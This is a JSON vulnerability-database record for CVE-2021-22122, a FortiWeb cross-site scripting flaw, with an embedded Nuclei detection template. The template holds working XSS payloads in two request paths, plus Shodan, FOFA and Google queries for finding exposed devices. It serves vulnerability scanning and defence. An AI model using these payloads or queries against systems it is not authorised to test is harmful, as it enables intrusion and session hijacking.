{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-22122/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-22122/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-22122/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-22122/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-22122/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-22122"},"sightings":{"href":"/api/v1/sightings/cve-2021-22122"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-22122.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2021-22122\n\ninfo:\n  name: FortiWeb - Cross Site Scripting\n  author: dwisiswant0\n  severity: medium\n  description: |\n    FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.\n  impact: |\n    Successful exploitation of this vulnerability can result in the compromise of sensitive user information, session hijacking.\n  remediation: |\n    Apply the latest security patches or updates provided by Fortinet to fix the XSS vulnerability in FortiWeb.\n  reference:\n    - https://www.fortiguard.com/psirt/FG-IR-20-122\n    - https://twitter.com/ptswarm/status/1357316793753362433\n    - https://fortiguard.com/advisory/FG-IR-20-122\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-22122\n    - https://github.com/Elsfa7-110/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2021-22122\n    cwe-id: CWE-79\n    epss-score: 0.1052\n    epss-percentile: 0.95563\n    cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: fortinet\n    product: fortiweb\n    shodan-query: http.title:\"fortiweb - \"\n    fofa-query: title=\"fortiweb - \"\n    google-query: intitle:\"fortiweb - \"\n  tags: cve2021,cve,fortiweb,xss,fortinet,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/error3?msg=30&data=';alert('document.domain');//\"\n      - \"{{BaseURL}}/omni_success?cmdb_edit_path=\\\");alert('document.domain');//\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"alert('document.domain')\"\n          - \"No policy has been chosen.\"\n        condition: and\n# digest: 4b0a00483046022100e51076eeb0f0ae28405bbcc2f7e342aa3dd4f3a45c525357eec03e2385a55f38022100edb839b5f7a01afcd8c1120c5af84dbd80aa649a0fffbd599716e2a05f80b10b:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-22122"}